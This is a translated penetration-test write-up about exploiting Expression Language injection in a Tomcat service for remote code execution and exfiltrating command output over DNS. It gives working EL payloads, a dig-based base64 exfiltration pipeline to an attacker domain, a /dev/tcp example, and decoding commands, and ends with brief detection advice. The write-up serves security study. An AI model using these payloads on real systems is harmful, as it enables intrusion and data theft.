03.07 基於DNS的一次滲透測試

最近,我們在某個Tomcat Web服務中發現了一個涉及表達式語言的遠程代碼執行。存在缺陷的端點期望接受一個數字。但是當我發送${1+2}時,站點會返回一個Java錯誤信息,關於將java.lang.String轉換為java.lang.Long的失敗消息,其中顯示了值3。

從這個錯誤信息中,我們可以知道以下信息:

  • 應用使用Java
  • 我們能夠執行EL表達式
  • EL引擎的輸出總是以字符串的形式返回

當你能夠在Java中執行代碼時,最有趣的部分就是檢查是否能夠通過Runtime對象執行任意系統命令。

當發送${Runtime.getRuntime()}時,會被解析為java.lang.Runtime@de30bb。很好,那麼我們可以使用Runtime.exec(String cmd)執行任意代碼嗎?

但很可惜的是,我們無法創建任何新對象。因此${Runtime.getRuntime().exec("id")}無法生效。由於EL處理拋出的異常不包含在顯示的頁面中,因此我們獲得的信息很少,很難進行調試,也不知道是否有WAF過濾了我們的payload,或者存在其他防禦措施。

不過EL允許訪問文檔中定義的一些隱式對象。其中一個對象param看起來很有趣,因為它可以將請求參數解析為字符串。很快,在一個請求之後,我們成功獲得了${Runtime.getRuntime().exec(param.cmd)}的命令輸出:java.lang.UNIXProcess@2f0a8ba。但是命令執行成功了嗎?它的輸出是什麼?當我們嘗試從UNIXProcess中讀取stdout時,必須圍繞一個InputStreamReader創建一個BufferedReader,以讀取subprocess的輸出。

基於DNS的一次滲透測試

確定調用是否成功的一種方法是檢查它的返回值。由於返回值的性質(它只在進程完成時可用),Java的Process接口提供了一個int waitFor()方法以暫停main thread,直到subprocesses完成。它的返回值表示subprocess的狀態碼。

在對payload進行了小的調整之後,我們可以看到${Runtime.getRuntime().exec(param.cmd).waitFor()}與cmd==sleep+10的組合,其響應時間僅為10秒多一點,並且會出現一個不能將“0”轉換為Long的錯誤消息。

但是輸出呢?我看到過一篇關於DNS利用的文章。到目前為止,我們只討論了Tomcat中的RCE。考慮到無法在頁面中看到命令輸出,所以我們需要使用帶外通信。最簡單的方法就是使用curl、wget或netcat,向我們的服務器發送一個HTTP請求。

為了檢查curl的可用性,我們只需使用我們的Burp Collaborator來測試。而waitFor顯示狀態碼為7,這對於curl來說意味著連接到主機失敗。然後我們檢查了Collaborator,它只顯示了一個成功的DNS請求。

我們通過執行dig <domain>來快速檢查服務器上是否安裝了nslookup、dig或drill等DNS工具。/<domain>

對於只提取用戶信息,那麼只需較短的PoC。payload為id | base64 -w 60 | xargs -I ',' dig ,.<domain>。當發送請求後,我們可以看到返回值是1,這代表一個錯誤,儘管在我們的機器上測試一切正常。經過研究,我們發現Java存在一種安全防禦措施,防止攻擊者將多個命令注入到Runtime.exec(String)中的字符串中。因此,Java提供的是Runtime.exec(String[]),elements作為參數。/<domain>

還有一個問題,EL不允許我們編寫類似${Runtime.getRuntime().exec(new String[]{param.one, param.two, ...})}的語句。事後看來,我們也許可以使用隱式的paramValues對象,但當時我們完全忽略了這一點。相反,我們使用了pageContext.request.getParameterValues(param.name),它會返回一個數組,其中包含在param.name中指定參數的所有值。最後的payload是:

<code>${Runtime.getRuntime().exec(pageContext.request.getParameterValues(param.name)}
/<code>

參數有name=cmd和cmd=bash&cmd=-c&cmd=<payload>。通過這種方法,我們藉助腳本實現執行每個命令的payload。/<payload>

基本

DNS exfiltration指使用DNS請求傳遞數據,可以在“正常”互聯網流量被阻塞或過濾的情況下使用。其基本思想是通過DNS請求將數據發送到攻擊者的DNS服務器上。

設置

我們需要可在目標系統上創建DNS請求的任何工具。這可以是一個專用程序,如dig或drill,也可以是任何網絡工具,如wget、curl、netcat、host、bash -c "echo "test" > /dev/tcp/$host/$port等。

在接收端,我們需要一個UDP的53端口在公網可達的服務器,任何VPS都應該可以,你也可以通過端口轉發實現。

為了指示DNS解析器向我們的服務器發送請求,我們需要在指向我們的服務器IP的任何域中設置一個NS記錄。

最後,監聽53端口上接收到的請求。

工具

在我們的項目中,我們只需要一個PoC,所以payload並沒有多複雜。

不過我們對其通用性進行了改進,並且所使用的大多數命令在多數Linux系統中都默認存在。

<code> | base64 -w 60 | cat -n | awk '{{$1=$1}};1' | sed 's/ /\\\\n/' | xargs -L 2 -n 2 bash -c 'dig $1.$0.<domain>'
/<domain>
/<code>

說明:

1.運行所需命令

2.使用base64進行數據編碼,在60個字符後自動換行。

3.使用cat -n在每行前面都將加上相應的行號

4.使用awk刪除所有頭部空格

5.使用sed將行號和內容分成兩個單獨的行

6.使用xargs使用兩行作為bash的兩個參數

7.使用dig配合<data>.<line>.<domain>發出請求。/<domain>/<line>/<data>

為了捕獲DNS請求,我們簡單地將53端口的UDP數據包導出。當運行例如id等命令時,會得到如下的輸出:

<code>16:44:24.860040 IP XXX.XXX.XXX.XXX.47679 > YYY.YYY.YYY.YYY.53: 61071 [1au] A? dWlkPTEwMDAoaG56bG1ubikgZ2lkPTk4NSh1c2VycykgZ3JvdXBzPTk4NSh1.1.<domain>. (103)
16:44:24.887303 IP XXX.XXX.XXX.XXX.39556 > YYY.YYY.YYY.YYY.53: 2045 [1au] A? c2VycyksNTQobG9jayksOTgocG93ZXIpLDEwOCh2Ym94dXNlcnMpLDE1MCh3.2.<domain>. (103)
16:44:25.050284 IP XXX.XXX.XXX.XXX.45014 > YYY.YYY.YYY.YYY.53: 34349 [1au] A? aXJlc2hhcmspLDk3MyhsaWJ2aXJ0KSw5ODYodmlkZW8pLDk4Nyh1dWNwKSw5.3.<domain>. (95)
16:44:25.080283 IP XXX.XXX.XXX.XXX.45614 > YYY.YYY.YYY.YYY.53: 34497 [1au] A? ODgoc3RvcmFnZSksOTk1KGF1ZGlvKSw5OTgod2hlZWwpCg==.4.<domain>. (95)
/<domain>/<domain>/<domain>/<domain>/<code>

在接受的數據中,可能有一些重複部分,還可能會出現接受順序混亂的情況。

為了處理重複和排序的問題,我們可以使用以下命令:

<code>cat $1 | egrep -o '[^ ]\\.<domain>' | sed 's/\\.<domain>//' | sed 's/\\./\\t/' | sort -k2 | uniq | sed 's/\\t.//' | tr -d "\\n" | base64 -d
/<domain>/<domain>/<code>

說明:

1.提取以指定域結尾的數據

2.刪除域部分

3.根據.號拆分字段,插入tab

4.按第二列(行號)對所有條目進行排序

5.刪除所有重複項

6.刪除行號

7.把所有的行連接成一行

8.使用base64進行解碼

針對上面的數據,明文為:

<code>uid=1000(hnzlmnn) gid=985(users) groups=985(users),54(lock),98(power),108(vboxusers),150(wireshark),973(libvirt),986(video),987(uucp),988(storage),995(audio),998(wheel)
/<code>

由於編寫bash腳本是很痛苦的,我開發了Dora the DNS explorer。Dora使用scapy來嗅探接口,解析接收到的每個DNS請求並將其存儲在數據庫中。為了將不同命令的輸出彼此分離,我引入了域的另一部分,被稱為context。通過使用Swiper(該工具的提取部分),你可以針對不同的工具生成payload,或者簡單生成一個在payload中使用的新context。


其他

如果攻擊者開始通過DNS傳遞數據,系統會發現DNS流量突然增長。所以某個主機DNS請求數量的突然上漲可能預示著攻擊者已控制服務器。為了阻止這種攻擊,可將內部網絡的所有的DNS請求轉到內部上游的DNS服務器中,並設置域名白名單,對可疑域名禁止請求。

<code>本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場
來源:https://insinuator.net/2020/03/dns-exfiltration-case-study//<code>


分享到:


相關文章: